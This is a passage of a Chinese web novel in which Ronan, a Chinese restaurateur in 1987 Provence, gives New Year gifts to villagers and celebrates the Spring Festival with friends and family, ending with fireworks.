只是看了一眼露出一角的照片和那上面的单词,卡福便发出一声咆哮: “上帝,不是吧?” 他粗鲁的把蓝色包装纸一把扯开,露出了一个带有照片的浅灰色纸盒,映入眼帘的是上面的一行单词——Bi-Bop在手,随处可联。 这是每一个法国人打开电视都能听到的广告语。 卡福的儿子兴奋大喊: “传呼机,是传呼机!” 1977年,传呼机开始在巴黎及其周边区域普及。 但截止到1986年,传呼机在法国的用户总数只有55万,受众不多主要是由于其高昂的售价导致。 基础款(仅能接收电话)最便宜的1800法郎。 高端款(可以接收字母和数字)至少3000法郎才能买到。 而罗南给卡福的这款正是高端的机型,纸盒正面的照片上,黑色传呼机亮起的绿色屏幕上写着‘随处可联’。 卡福没有急于打开盒子,因为蓝色包装纸里还有其他的东西——那是一张手写的小便签。 里面写着一小段干净整洁的话语: 既然已经决定转行做‘高端商务精英’,怎么能不拥有一台‘移动办公室’呢? 哈哈,开玩笑的。 你现在业务多了,不要再麻烦你的妻子,而且它会使你的工作更高效。 这一年辛苦你了,伙计。 没有你,我不会有漂亮的厨房、后院和餐厅。 新年快乐! 随即,卡福耳边出现了佐伊的声音: “罗南说,你在建工作室时给他省下来的钱可以买10个这东西,这是他的一点点心意快收下吧,他准备这些礼物用了半个多月呢。” 寒潮过后,普罗旺斯人的情绪都很糟糕。 不仅仅是靠山吃饭的农夫,还有卡福、托马斯和歌迪亚等.这些从事其他行业的人也被灾害所波及了。 普罗旺斯的寒潮,让来这里买房子和投资的有钱人暂时‘冷静’了下来,某次通电话时,卡福焦虑的告诉罗南花环和编织品的订单减少了许多,他觉得对不起那些始终跟着他的兄弟。 因此罗南给每一位朋友都精心准备了礼物,无论身份还是年纪。 不管过去发生了什么,也不要去考虑明天要面对什么.今天这些人一定要是幸福的! 卡福刚刚只是注意到了一个法比安,因为他的反应太激烈,很难不引起人的注意。 但其实此刻的餐厅里,还有一个他认识的熟人,那便是好几次因为嘴臭,差点和他打起来的亨利。 约瑟芬和丽莎在家里编花环,晚一点过来。 但想到罗南先生今天还要进山,可能没办法来餐厅帮忙,亨利很早就来了。 不过,他到现在还没顾得上帮忙做任何事情。 因为他躲在角落里,偷偷抹了一个小时的眼泪。 罗南当然也给亨利准备了礼物,而且是一份‘大’礼。 亨利一到餐厅,就被维埃里带到了二楼。 “罗南给你准备的礼物太大,一楼放不下,放在二楼了,快来看看吧。” 亨利跟着维埃里上楼,在空旷的二楼一角,看到了一组看起来很柔弱、坐下去更柔软的漂亮沙发。 那是亨利在梦里才能出现的东西,他家客厅没有沙发。 不,曾经拥有过。 不过那个可能是从他祖父的祖父那一代传下来的沙发,在丽莎很小的时候就彻底坏掉了。 维埃里拿起沙发上放着的便签,不确定的问: “你识字吗?” 村里人都不喜欢和亨利打交道,维埃里不确定这个信息。 亨利紧张的点头: “认识,认识!我还帮罗南先生写过告示牌!” 维埃里笑着把便签递给他: “罗南给你的。” 亨利先把手在裤子上蹭了好几下,才小心翼翼的接下那张纸,随后打开认真读了起来。 新年快乐,亨利! 感谢这一年来,你始终在身边保护我、关心我。 虽然你没说过什么.但我全都看在眼里。 这组沙发是给你们做手工用的,坐在板凳上工作太辛苦,时间长了腰会坏的。 你一个大男人糙一点就糙一点了,约瑟芬和丽莎可是女人。 我的朋友,希望明年你们能过上更好的日子! “朋友.罗南先生说我是他的朋友。”回忆起便签上的漂亮字迹,亨利的眼睛又不争气的红了。 别人都说他是罗南身边的一条狗,但罗南先生却喊称呼他为‘朋友’。 而且是用如此正式的方式. 亨利胡乱的抹了一把眼泪,眼中似乎有熊熊烈火在燃烧: “有我这条‘疯狗’在,没人能伤害到罗南先生!没有人!我会永远守护你的罗南先生!你是卢尔马兰的天使!!” 罗南的朋友一个个抵达餐厅,拿到了罗南为他们精心准备的礼物。 他们其中有的人笑了,有的人哭了,有的人激动了。 但还有的人.疯了。 特奥每过十分钟就要去门口看一次: “罗南怎么还不回来?罗南怎么还不回来?!他不是说今天要早点回来过节吗?” 罗南送给安娜一只赛尔鹌鹑,起因是夏天下雨那一次,丽贝卡安娜来罗南家避雨,给她讲绘本故事时,安娜说她喜欢这个动物。 特奥是不折不扣的女儿奴。 罗南对安娜好,比对他自己好还让特奥感激和激动。 他恨不得现在就拍着罗南的胸脯说——伙计,今年能认识你是我这辈子最大的幸运。 没错,这就是特奥现在最想说的话! “早回来也不会是中午回来啊。”巴蒂指着手腕说,“罗南说最早也要下午4点才能回来。” 特奥用力跺了一下脚: “该死的,我现在必须做点什么,我要憋死了!” 巴蒂若有所思的点头,他也是同样的心情,迫切的想要见到罗南,并和他说点什么,否则不会在门口碰到特奥。 只不过他说不出口太肉麻的话语。 突然,他轻轻拍了一下手: “你说罗南.有没有什么想要的东西?” 特奥脱口而出: “有啊,肯定有,是个人就有想要的东西。” 巴蒂用探讨的语气问特奥: “那你说我们有可能帮助罗南完成心愿吗?” 特奥忽的眼前一亮: “我们也送给他一个‘礼物’!” 巴蒂再次低头看了一眼时间,语气激动的说: “现在才中午,时间肯定来的及,我们多叫些人来一起策划。” 罗南希望朋友们能感到幸福。 他的朋友们也同样希望给罗南带去幸福。 在过去的这一年中,罗南又何尝不辛苦呢? 卢尔马兰的守护天使,恰恰是他们中最辛苦的那一个,他值得拥有最大的那一份幸福! 第306章 新年快乐! 前一阵子,只要看到头顶光秃的宿主树和地面上的松露带,罗南就会停下闻一闻、挖一挖。 但不是每一颗被冻死的松露都会发出‘腐坏’的气味,有些‘死’松露味道没有异样,只是单纯的脱水了。 不过闻的多了,罗南渐渐总结出新的规律和方法,效率比寒潮刚过去那几天提升了一些。 虽然没有交流过,但罗南知道卢卡斯也总结出了新经验。 他每天带回来的松露重量也有了提升,并且下限提高了。 两个人现在愈发熟悉寒潮过后的森林环境,每天凑齐4公斤松露也越来越轻松。 除夕当天,罗南在下午2点多就找到了2.5公斤松露,可以回家过年了。 这是他和卢卡斯在前一天晚上约定好的,罗南2.5公斤,卢卡斯1.5公斤,只要到了这个重量就停下。 返程的路上,罗南的心情有一点忐忑。 不知道朋友们收到他的礼物没有? 又喜不喜欢呢? 除了戈尔德周边的几公里范围,吕贝隆山区没有任何道路指示牌。 想去卢尔马兰的人,都是通过卢尔马兰城堡这个地标建筑判断什么时候该下主路了。 不过今天还没看到城堡,罗南就知道卢尔马兰到了。 他在D943号公路旁,看到了一个新出现的指示牌,上面写的居然是距离他的餐厅还有3公里。 没错,不是距离卢尔马兰还有3公里,而是距离他的中餐厅还有3公里。 罗南以为自己眼花了,因为他着急回家,车速并不慢,有看错的可能性。 但开了一会,他又看到了写着同样内容的指示牌,只是距离改为2公里了。 罗南沿途数了一下,这个提示牌一共出现了7次,进入卢尔马兰后几百米就会出现一个,当他在距离商业街只有几百米的地方,看到第八个提示牌时,与它一同出现的还有两个人。 罗南停下车,走向正在钉指示牌的康奈尔和法比安: “这些都是你们装的?” 康奈尔回头,脸上瞬间绽放出开心的笑容,随即小跑过去用力抱住罗南: “罗南!你终于回来了!!” 罗南笑着拍他的后背: “收到我给你的礼物了?” 康奈尔每晚都会来餐厅取松露,两个人天天见,但他从来没有抱过罗南。 这一看就是收到礼物开心了! 康奈尔一个用力把罗南抱起来: “收到了!谢谢你送给我的猎枪!” 康奈尔不止没有属于自己的地,也没有属于自己的猎枪。 之前大家一起打猎,他每次都要找特奥或者法比安借枪用。 “喜欢就好。”罗南挣脱了康奈尔的怀抱,问还在立牌子的法比安,“你们在干什么?克劳德让你们装的?” 卢尔马兰村里有一些指示牌和路标,那是由负责旅游业务的克劳德安排安装的。 法比安远远的对罗南喊: “不是,是我们自发的,不过亨利找克劳德聊过,他没有意见。” 罗南心里一阵发毛。 让亨利去‘聊’的? “你们这是——”罗南刚一开口,脚又离地了。 康奈尔又一次兴奋的把罗南举起来: “我们知道你想让餐厅运行的越来越好,所以做了这些指示牌,这样那些打算来吃饭的顾客就不会迷路了,你知道的,吕贝隆的路太不好找,而且路过的人说不定也会好奇的来看看呀不要小瞧D943号公路的车流辆,那是吕贝隆最重要的一条路。” 就是因为那是吕贝隆最重要的一条公路,才不能说装就装啊罗南心中一阵感动,但同时又出现了许多顾虑。 算了算了,现在不是说扫兴话的时候。 罗南感激的对他们说: “谢谢你们。” 法比安安装完指示牌,走过来也抱了一下罗南: “伙计,你这一年辛苦了,新年快乐。” 康奈尔跟着大声附和: “新年快乐罗南,和你相处的这一年是我过的最充实、最开心也是最幸福的一年,谢谢你!” 【他人的肯定使幸福度增加30点】 康奈尔和法比安没有罗南一起回餐厅。 农夫们要在卢尔马兰各个入口和周边都安装上指示牌,晚饭时间再回去。 农夫是罗南在卢尔马兰最庞大的朋友群体,这些人不在,餐厅肯定热闹不起来了。 罗南可是一直盼着回家热热闹闹的过年呢。 但他刚一踏入商业街,就听到了孩子们嬉笑打闹的声音。 随即一个像瓷娃娃一样的漂亮小女孩张开双手,在五十米开外,小跑着向他冲来: “罗南叔叔,你回来啦!” 在她身后,有十几二十个罗南认识或者不认识的孩子也一起向他冲来。 安娜穿着厚厚的外套,跑起来像可爱的小企鹅,左摇右摆的罗南赶紧迎过去,弯腰把她抱起来。 “冷不冷?”罗南想在她的小脸蛋上亲一下,但担心自己脸上有土。 由于工作流程原因,每次回来浑身都是土,脸更是‘重灾区’,而特奥说过许多次,安娜有很严重的洁癖。 但安娜这次一点没嫌弃,主动抱住罗南的脖子,在他脸上亲了一下: “谢谢罗南叔叔给我的礼物,我很喜欢。” 罗南周围围着的孩子们也七嘴八舌的跟着一起说。 “谢谢罗南叔叔送给我的遥控汽车!” “谢谢罗南叔叔送给我的新衣服!” “谢谢罗南叔叔送给我的法芙娜巧克力!” 罗南原地转了一圈,一一对孩子们说感谢,没有忽视任何一个。 他打算把安娜放下,让他们继续玩,但安娜却用力抓住罗南的衣服,抗议道: “爸爸给的任务还没完成呐。” “什么任务?”罗南看着她的大眼睛问。 安娜调转头的方向,面对小伙伴们,举起两只小手,像指挥家一样在空中点了几下: “1、2、3!” 孩童们天真而又充满活力的声音瞬间将罗南淹没: “罗南叔叔辛苦啦!感谢你为卢尔马兰做的一切!我们永远爱你!!” “耶——”孩子们蹦蹦跳跳的把罗南围在中间。 罗南现在幸福的像一朵绽放开来的花朵一样。 【他人的肯定使幸福度增加35点】 罗南在商业街上和孩子们玩了一会,觉得自己都跟着年轻了。 不过担心年夜饭的进度,罗南拒绝了孩子玩游戏的提议,回到了餐厅里。 他本以为农夫们出去了,餐厅里不会有多少人没想到里面居然‘人头攒动’,还有好多人是站着的。 顾不上查看那一群人站着是干什么,他去到收银台想问问母亲年夜饭还差几个菜,他赶紧进去帮忙。 但收银台后面坐着的居然不是冯珍,而是维埃里。 “我妈妈进去做饭了?”罗南把松露袋子塞到收银台后面,指着后厨问。 维埃里摇头,指头顶: “不在,她在楼上。” 罗南皱了一下眉头,挽起袖子向后厨走: “我爸爸在后厨吧?菜都备好了吗?” 维埃里从后面把他拦住,指着有许多人站着的那个方向: “你爸爸在那,后厨全是人,你别进去了” 罗南半信半疑的先去后厨扒了个头,马上退了出来。 里面至少有30个人正说说笑笑的挤在一起。 丽贝卡和几个农夫的老婆在两只处理好的羊上铺香料、几个餐厅员工面前摆着好几盆已经切好的蔬菜,而以阿克尼娜和约瑟芬为首的几个手巧妇女在和面。 抱着铁盆的伊莎贝尔看到了罗南,兴奋的对他招手: “罗南,你终于回来啦!!” 罗南脸上马上绽放出笑容.今天所有人都在‘期盼’着他回家,这种感觉太好了。 不过他意外的问: “你们怎么都来后厨了?” 事实上罗南对朋友们说的是来餐厅吃‘年夜饭’,没想到这么早餐厅就‘人满为患’了,不止是前厅,后厨也是如此。 丽贝卡一边洗盆,一边给罗南解释: “听说以前过年只有你们三口人一起.一点都不热闹,而我们又都知道你是个爱热闹的人,所以就有默契的都来了。” 夏天暴雨过后,罗南也组织了一次‘过节’。 在那次过节时,罗南说他喜欢这个气氛。 过节嘛,就该热热闹闹的。 于是这次过节,大家不约而同早早来了,希望罗南一回来就能看到这幅热闹景象。 约瑟芬有些紧张的说: “罗南先生,感谢你这一年对我们家的照顾,祝您新年快乐。” 约瑟芬一起头,妇女们纷纷向罗南表达了美好的新年祝愿。 不苟言笑的阿克尼娜甩掉手里的面粉,轻轻的给了罗南一个拥抱: “好孩子,以后过年我们都过来陪你。” “我也来!” “我也一起!!” 妇女们笑呵呵的把罗南赶出后厨: “罗南,你这一年辛苦了,一直在为我们做这做那,今天好好休息我们终于能为你做些什么了,新年快乐!” 【他人的肯定使幸福度增加40点】 朋友们的一个个暖心举动让罗南跌入了幸福的漩涡,感觉身体都跟着轻飘飘的。 在巨大的幸福中,他走向了餐厅里人最多、最拥挤的地方。 其实还没走到那,他就‘听’出来了里面在干什么。 “快给我讲讲,为什么这也能胡?还有他为什么从最后面摸了一张?”围观的人群窃窃私语的问。 罗南挤入人群,发现罗天海在带着大家‘打麻将’。 罗天海见罗南来了马上站起来: “你们玩吧,我们要去准备年夜饭了。” 巴蒂和几个艺术家‘粗鲁’的把他摁回到椅子上,逼着他继续玩下去。 围观的弗雷迪对罗天海摆手: “后厨都进不去人了,菜有人会炒,饺子也有人会包,你今天什么都不用干。” “那不行,哪能都让你们干。”罗天海刚站起来,看到对家点了个‘炮’,马上兴奋的坐了回去,“胡了!” 对中国文化颇有研究的巴蒂劝说道: “你看,你连庄了,所以不要走啊,手气那么好要继续打!” 罗天海想了一下,犹犹豫豫的说: “行吧,那再玩一会.就一小会。” “至少再玩一圈!”巴蒂大声嚷嚷。 “哎呀,儿子,你回来了!!”罗南回头,看到穿着漂亮衣服、画着精致妆容的母亲冯珍,在佐伊和歌迪亚等几个年轻女孩的陪伴下走下楼梯。 “像大明星一样!”罗南离开麻将区,马上去给母亲捧场。 冯珍兴奋的转了一圈: “真的吗?我穿上会不会不合适.这是年轻女孩才能穿的吧?” “怎么会不合适?”佐伊笑着给她整理衣服,“你明明也是年轻女孩啊。” 歌迪亚像专业化妆师一样给冯珍补妆: “就是的,怎么会不合适,我跟你说,就我给你画的这个妆,连许多戛纳的大明星都驾驭不了.但你看看,你画上多漂亮?你这皮肤太嫩滑了。” 冯珍被夸的找不到东南西北了,跃跃欲试的问佐伊: “要不.我试试那件抹胸的裙子?” 佐伊和歌迪亚二话不说,拉着她就向二楼走: “我们就说那件适合你,这件太保守了,你身材明明这么好!” 冯珍像大明星一样对儿子招手: “别走远啊,我换好你看看合适不合适。” 罗南笑着看了看母亲,又看了看父亲。 这些人在搞什么? 突然,他肩膀上多出了一个手掌。 巴蒂不知何时站到了他的身边,与他一起看楼梯的方向: “我们知道你很在意父母,在普罗旺斯安顿好第一件事就是把他们接来,伙计未来不管你有多忙都不用担心,我们会替你照顾好他们并陪伴他们,千万不要说感激的话我们做的这些,不及你给予大家的十分之一,罗南,我很开心去年认识了你并和你成为朋友,还一起做了很多伟大的事情,希望明年我们能携手做出更多令人疯狂但伟大的事情!” 特奥也不知道从哪个地方冒了出来。 这个懒惰的家伙当然不会出去干苦差事了。 不过也有可能是因为他有一肚子的话想要对罗南讲,所以一直等在这里。 他还是那副叼着烟的‘嘻嘻哈哈’模样,用力撞了一下罗南的肩膀: “你对我的好,我特奥一辈子记在心里,只要你需要,我会义无反顾的站在你的身后支持你,即使和全世界为敌我也不在乎兄弟,新年快乐,我们永远爱你。” 【他人的肯定使幸福度增加45点】 1987年的春节,是罗南两辈子来最幸福的一个春节。 他的父母多了许多爱他们的‘孩子’,生活惬意又美满。 他的爱人无时不刻不在身边支持和陪伴,他们被誉为卢尔马兰最幸福的情侣。 他的朋友来自各行各业,他们都很爱护和保护罗南。 其实这次,罗南本是想以‘过年’为借口治愈大家被寒潮影响跌入了低谷的心情。 没想到他自己也被治愈了. 他有这么好的父母、爱人和朋友,有什么可不开心的呢? 他明明时刻处于幸福的包围中嘛! 年夜饭开始后,大家让罗南讲两句。 罗南没有做准备,也没在这么多人面前发言过,他说了几句朴素但肺腑的话: “在中国,春节意味着‘新旧交替’,无论去年我们经历了什么坎坷、悲伤和苦难,都把它留在过去吧,新的一年,我们每一个人都会拥有一个新的开始!朋友们,让我们举起酒杯,迎接崭新和美好的新开始,新年快乐!!” 第307章 我也给你准备了礼物 不止人过新年,狗在今天也过年了。 餐厅被冯珍布置成了红色的海洋,马赛的眼睛都不知道该往哪里看好了。 这里简直是它的天堂! 佐伊还非常‘体贴’的给狗子们做了几个用红色面包皮包的‘小红包’,里面塞了罗天海卤了一个上午的肉。 其他狗收到的瞬间,红包就进了肚子。 马赛愣是叼着它不舍得咽下去,口水流了几米长。 因为这件事,佐伊宣布,马赛从今天开始是她最喜欢的‘宝宝’了! 马赛这小子是没吃红包,但年夜饭的每一道他都尝着了。 罗南都有些分不清,它是傻狗有傻福。 还是‘坑蒙拐骗’的手段又提高了,这一切都是它的计谋。 小儿子在今天得到了王子一般的待遇,大儿子过的也是相当幸福和美满。 受邀前来的玛格丽特和小黑在餐厅里玩的不亦乐乎,给在场的各位单身狗狠狠的表演了一次什么叫‘如胶似漆’。 罗南都想趁着这个大喜的日子给小黑提亲了。 但他又怕卢卡斯拒绝 卢卡斯曾经说过,不想让玛格丽特生孩子尤其玛格丽特年纪大了。 但罗南还惦记着它的松露犬呢。 思来想去他决定再等等,再让两个孩子的感情发展发展,发展到玛格丽特‘情难自已’,要跟着穷小子私奔那一集,他这个老父亲再去向卢卡斯提亲。 玛格丽特到了,他的主人一家自然也来了。 卢卡斯的老婆和儿子是傍晚来的,但卢卡斯又挖到了很晚才回来年夜饭吃到一半了,他才出现。 罗南去门口接他的时候,上手掂了一下他的松露袋子。 应该有2公斤多,快3公斤的样子,远超了他们前一天的约定。 卢卡斯的经济压力更大了.罗南如是想着。 “卢卡斯,今天过节啊,你怎么回来的这么晚!”农夫们不满的嚷嚷。 罗南说卢卡斯也要来,大家等他好久了。 卢卡斯不太擅长撒谎和应付质疑,罗南生怕这个家伙打碎了牙往肚子里咽,又要送特奥什么贵重的东西,忙把责任揽到自己身上。 “我不是提前回来过节了嘛,卢卡斯今天的任务比较重,要把我偷懒的那一份采回来。”罗南把卢卡斯带到他的座位,对其他农夫们说,“怪我怪我,是我今天偷懒了!” “原来是这样啊,卢卡斯你今天辛苦了!快坐下尝尝罗南爸爸的卤肉,太棒了!” “诶,把这个羊排挪过去,卢卡斯一家都爱吃羊肉。” “还是先喝汤吧,在外面待了一天呢。” 农夫们主动照顾起了卢卡斯。 见这个话题终于应付过去了,罗南拍了一下卢卡斯的肩膀,附在他身后小声说: “没事,安心吃饭,什么事都没有。” 卢卡斯在外面冻了一天的身体,瞬间温暖了。 他犹豫了几秒种,拍了一下罗南的后背: “你先去忙,一会过来我和你说点事。” 罗南点了点头: “好的,我一会过来。” 春节理应是该好好陪家人的日子,罗南也是这么打算的。 奈何今天这个年夜饭吃的特别热闹。 艺术家们都是些爱热闹的人,见这里在过节,全都来‘蹭饭’了。 罗南早就做好了多加刀叉的打算,当然欢迎。 尤其这些有才华的家伙现场编排出了好几个节目.弥补了无法看春晚的遗憾。 但吃着吃着,罗南发现这帮艺术家里出现了许多生面孔,平时餐厅里也会出现一些‘陌拜’的艺术家,但他们通常不会留到晚上,下午就要回去了。 可今天这些陌生的艺术家7点多天完全黑了,还跟着唱歌拍手呢。 罗南过去问了几个人,原来这些人都是从戈尔德来的! “我们是来戈尔德看艺术展的,昨天(前天)看到了你的‘希望’,又被巴蒂安利了你的餐厅就过来了,没想到卢尔马兰这么热闹啊这里可比戈尔德好玩多了,这两天住在戈尔德晚上什么娱乐活动都没有,天一黑就要准备睡觉了。” 这次来戈尔德看展的游客来自世界各地,不乏巴黎那种夜生活丰富的大都市。 不过卢尔马兰也不是每天都有夜生活,今天是个意外.罗南腹诽道。 他正琢磨如何用恰当的语言打一些补丁,伊莎贝尔过来喊他: “罗南,你朋友来了。” “我朋友?”罗南诧异的回头,“他们都在这了啊。” 除了粉红酒协会的众人,和罗南关系近的朋友都接到了他的‘过节’邀请。 连在政府工作的布兰科等人下班后也带着家人来了,还能有谁啊? 罗南站起来向门口看去,一眼就看到了一个‘锃光瓦亮’的光头。 “布鲁诺?!”罗南兴奋的走过去。 他突然想起来了,布鲁诺说这个月底,他的妻子和孩子要来普罗旺斯玩一周.自己还答应要把车借给他用呢。 布鲁诺意外的问: “这里是在举行什么活动吗?怎么这么多人” 他来过这里许多次,今天的人是平时的两倍多。 而且还有唱歌跳舞的人! 罗南热情的把布鲁诺一家迎进去: “你们来的太是时候了,今天你们将尝到许多‘隐藏菜单’。” 罗南把这几个人带到农夫们那桌。 社恐的巴黎人立即被热情的普罗旺斯人包围。 “头儿,这就是你太太吧?你们能团聚太棒了!” “快坐下,你们喝什么,我去给你们拿杯子和新餐具!” “两个美丽的宝贝,要先吃点蛋糕吗?” 布鲁诺的妻子惊恐的看向自己的丈夫。 上帝,这是什么情况? 不点菜,直接坐下就是吃吗? 这合适吗? 不等布鲁诺给妻子解释普罗旺斯人的热情,他们一家四口人的嘴里同时被塞进了一个东西。 他们嚼了几下嗯,还挺好吃? “远道而来的朋友们怎么能吃凉菜?我去给你们热一下,再给你们做几道新的,来,先一人吃个饺子,饺子要趁热吃。”法比安的妻子喂完饺子,利索的起身去后厨。 特奥的妻子举着一整个羊腿到他们的面前: “先吃个羊腿垫一垫吧?” 她面前的四双眼睛瞬间瞪大了。 垫一垫.用羊腿? 这不是正餐吗? 布鲁诺的妻子坐下后,小声对丈夫说: “你的朋友们看起来挺不错的。” 她又抬头看了一眼餐厅里的装饰和风格: “而且我很喜欢这个餐厅。” 布鲁诺露出如释重负的笑容: “谢天谢地,你能喜欢这里我太开心了。” 这是妻子和孩子来普罗旺斯后的第一顿饭,布鲁诺特地选择了这里。 “我也很开心你们能喜欢这里。”罗南离开了一下又回来,正好听到这段对话,他把车钥匙递给布鲁诺,“很遗憾,现在你们不能打开车顶。” 特奥‘唰’的一下站起来,不敢置信的瞪大眼睛: “不是吧罗南,你要把敞篷车借出去?” “敞篷车?”布鲁诺看了看手里的车钥匙。 康奈尔拿着餐具过来,细心的帮他们摆好,并笑着补充: “而且是敞篷跑车,不过即使它不敞篷,回头率也是百分之百,快把车钥匙拿好!特奥眼馋它好几个月了,罗南一直没有借给他。” 罗南笑着对布鲁诺一家说: “希望普罗旺斯能给你们一家留下一份美好的回忆。” 布鲁诺的妻子实在憋不住了,皱着眉毛小声问丈夫: “在这种氛围里,你居然会觉得孤独?布鲁诺,如果这也叫孤独的话,我在巴黎要‘孤独’死了,你这里的工作环境太棒了好吗!” 应付完了各种突发情况,罗南才有时间坐到了卢卡斯身边。 卢卡斯没有听到罗南讲的那段‘把所有苦痛都留在去年’的话,脸上还是有挥之不去的阴霾。 罗南故意让语气轻快起来,想以此感染他: “什么事?” 卢卡斯压低声音对罗南说: “最近松露市价涨了,太多松露猎人抗议,卡庞特拉那里也不能和大家对着干.我听说到了2月,价格很快就会涨到3500,等价格上来咱俩就别合作了。” 他语重心长的对罗南说: “我不是拦着你赚钱,是你跟我不一样,有太多可以做的事情,和我捆在一起太耽误你的时间,你现在什么事情都不能干。” 罗南的经济条件很好。 卢卡斯很清楚,如果不是为了自己.罗南不会接下阿方斯先生的那个生意。 既然价格涨上去,卢卡斯想把罗南解放出去。 但罗南想的是另外一件事情,他用手捂嘴,用更加低的声音说: “但我是你的‘挡箭牌’啊。” 为了缓解压力,卢卡斯在2月份必然会持续保持‘高压’工作状态。 那他必然会遭到一些人的怀疑。 以前卢卡斯可是村里最会享受的一批人呢。 但如果罗南和他绑定在一起,他完全可以用刚刚类似的理由,把原因拦到自己身上。 而且他比卢卡斯会编理由多了。 罗南太清楚了,相较于钱,自尊心是卢卡斯更加无法舍弃的东西。 我解放出去了,你怎么办? “你们俩说什么呢?还用捂着嘴?”皮埃尔不满的嘟囔。 罗南笑着对他挥手: “秘密!” 特奥把皮埃尔的注意力吸引过去,骄傲的说: “他们俩能聊什么,肯定是几十万、几百万的大生意,就像现在合作的这个一样。” 康奈尔连连点头: “没错没错,我证明,那真的是‘大生意’!” 罗南摁住卢卡斯的胳膊,看着那些农夫着急的说: “卖给哪个渠道不重要,你找我找都行,但咱俩最好捆在一起,这样我才能帮你。” 卢卡斯低着头,用力捏了一下罗南的胳膊: “伙计,不多说什么了。” 罗南用缓和的语气说: “新年我给每个朋友都准备了礼物,自然也有你的那份但给你的礼物还要再等等才能拿给你。” 卢卡斯来的晚,不了解‘礼物’的寓意是什么,也没见到那个全民狂欢的场景,他只是若有所思的说了一句: “谢谢。” 卢卡斯心里压的事情太多,吃到一半去餐厅外面抽烟透气。 遇到了从外面回来的路易。 “你出去了?”卢卡斯问。 路易兴奋的举起手里的两瓶红酒: “今天过节,卡尔的老婆允许他多喝点,我回家拿我的‘藏品’!” 卢卡斯对他笑着点了下头: “快进去吧。” 过了几秒,他突然回头问路易: “我那个房子现在值多少钱了?” 10月份他刚回卢尔马兰时,也曾问过路易同样的问题。 路易给他的报价是50多万。 现在又过去了几个月,价格有变化吗? 路易是一个热情的房产中介: “和去年比肯定又涨了一些,不过寒潮让房价又跌回去了一点,不过我相信到了3、4月份房价回继续升高,到时候你那个大房子说不定能卖到60万法郎,如果这几个月中又发生了什么利好卢尔马兰的大事件,或者遇到了一个好买家,卖到65万也有可能。” “好的,谢谢。”卢卡斯举起拿着烟的手扬了一下。 60万. 这60万法郎可能是他最后的底牌了。 第308章 新年新气象! 这一晚要照顾的人实在太多,等罗南终于能安心坐到父母身边好好过年,罗天海已经喝的差不多了。 没办法,身为罗南的父亲,来敬他酒的人实在太多。 他又不像罗南一样,只喝一种粉红酒,白酒喝了一点,葡萄酒又喝了一点.说话已经有点大舌头了。 不过这一点都不影响他交流。 越是说不利索,他越要说.而且是狠狠的说。 今年也是罗天海过的最幸福的一个春节! 在‘家人’这桌坐着的是路易一家、弗雷迪一家、阿兰一家和老卡尔夫妻,他们不仅是罗南的‘老’朋友,也是和罗天海关系走的最近的一批人。 “去年春节,是我和罗南的妈妈两个人在巴黎过的,那个时候我们还开玩笑的说,臭小子可能复活节就回来了,他一个人怎么可能在普罗旺斯扎下根啊,没想到——”罗天海看向儿子罗南,“没想到复活节我和他妈妈是来普罗旺斯过的,而且几个月后不仅罗南在普罗旺斯扎了根,我们也在这里有了新的生活。” 罗天海幸福又激动的举起杯子: “最开始的那几个月,多亏了你们大家照顾罗南,能有今天在座的几位功不可没,我敬你们!” 路易今天喝的也不少,脸像他最讨厌的英国佬一样红: “马上就是一家人了,说这些客气话干什么。” 弗雷迪乱入了进来: “就是就是,都是一家人。” 路易不满的嘟囔: “谁跟你是一家人?这是我们两家的事!” 弗雷迪习惯性的和路易斗嘴: “你太狭隘了,路易!罗南一家现在是卢尔马兰大家庭的一份子,怎么就不是我的家人了!” 老卡尔笑着点头: “没错,我们都是一家人。” 这几个家伙打打闹闹了几十年,一斗起嘴来房梁都能掀了。 趁着现场一片混乱之际,罗南憋着笑和母亲交换了一下眼神,小声说: “我爸哪里学的这么多场面话?这都是‘感谢’的第几轮了?” 每次他回来都能听到罗天海在感谢这几个人. 不是说不行,确实应该感谢,但你换个理由啊。 冯珍对着儿子撇了下嘴,又摇了摇头,之后白了一眼老公: “车轱辘话差不多就得了,没别的可感谢了?” 罗天海憨厚的看老婆和儿子: “你们会说、你们都比我我会说.那你们说啊,大过节的得照顾好朋友不是?” 四周稍微安静下来一些后,冯珍拿着杯子在桌子上磕了一下,干净利索的把粉红酒干了: “话都在酒里了啊,以后过年这桌上的人一个都不许少,必须来!” 罗南实在憋不住了,笑出声来。 还得是您啊,冯珍女士! 见父母都说话了,罗南也举起杯子: “以前我对春节没什么感觉,首先每年只有我们三口人,其次巴黎也什么过春节的氛围,感觉就是很普通的一天,所以我去年压根就没过.不过今年春节,我过的格外的开心和幸福,我妈说的没错,以后过年你们几个必须来,一个都不能少。” 罗南是去年一月搬到普罗旺斯的。 他压根就忘记了春节这件事,尤其那段时间家里没有装电话,冯珍想通知他都联系不上。 不过一想到这里他又起身站到了父母的身后,一手一个把他们抱住: “对不起,去年没陪你们过节,以后每一个春节,我都会在你们身边,再也不离开了。” 罗天海回手拍了拍罗南的胳膊,并没有回头,只是又喝了一杯酒。 冯珍激动的搂住罗南的脖子,在他耳边悄悄说: “你爸爸嘴笨,我替他说。” “搬来普罗旺斯是我们这辈子做过最正确的决定,我们亲眼看到了你有多优秀、多上进、多努力以后你只管好好‘冲’,我和你爸爸会把家里照顾好,我们为你骄傲儿子!” 罗南更加用力的抱住他们两个,一切尽在不言中了。 【他人的肯定使幸福度增加45点】 老卡尔年纪大了,不能熬到太晚。 10点一过,他就歉意的说要先回去。 罗南没有挽留,只是笑着对他说: “看完最后一个节目再走。” 弗雷迪的两只眼睛瞬间亮了,看向艺术家们所在的位置,期待的问: “节目还没表演完吗?” 艺术家里有几个人唱歌可好听了,弗雷迪没听够。 罗南笑着摇了一下头,对隔壁桌子的亨利挥了一下手: “亨利,开始吧。” 亨利马上戴上帽子走出餐厅。 之后罗南站到自己的椅子上,大声喊道: “朋友们!先停一停,我们出去看烟花!!” 室外的烟花还没有点燃,室内的‘烟花’先绽放了起来。 孩子们的尖叫声、妇女的惊呼声、男人们的笑声、艺术家的欢呼声和狗叫声同时出现。 这不止是罗南印象最深刻的一个春节,也同样给今天到来的宾客们留下了深刻的印象。 他们永远都不会忘记这个幸福、热闹又充满美好寓意的中国节日! “你什么时候买的烟花?怎么也不告诉我?”佐伊抬头问。 晚上的气温在0度左右,等待亨利放烟花时,罗南把佐伊抱到了怀里。 不过这个亲昵的举动没有打消佐伊的不满情绪。 今天给每个人发的礼物,都是她和维埃里帮助罗南一起准备的,其中大部分还是姐弟两个亲自去买的。 但她不知道罗南还让亨利准备了烟花。 她装作生气的点了两下罗南的鼻子。 你啊你,你怎么谁都瞒呢? 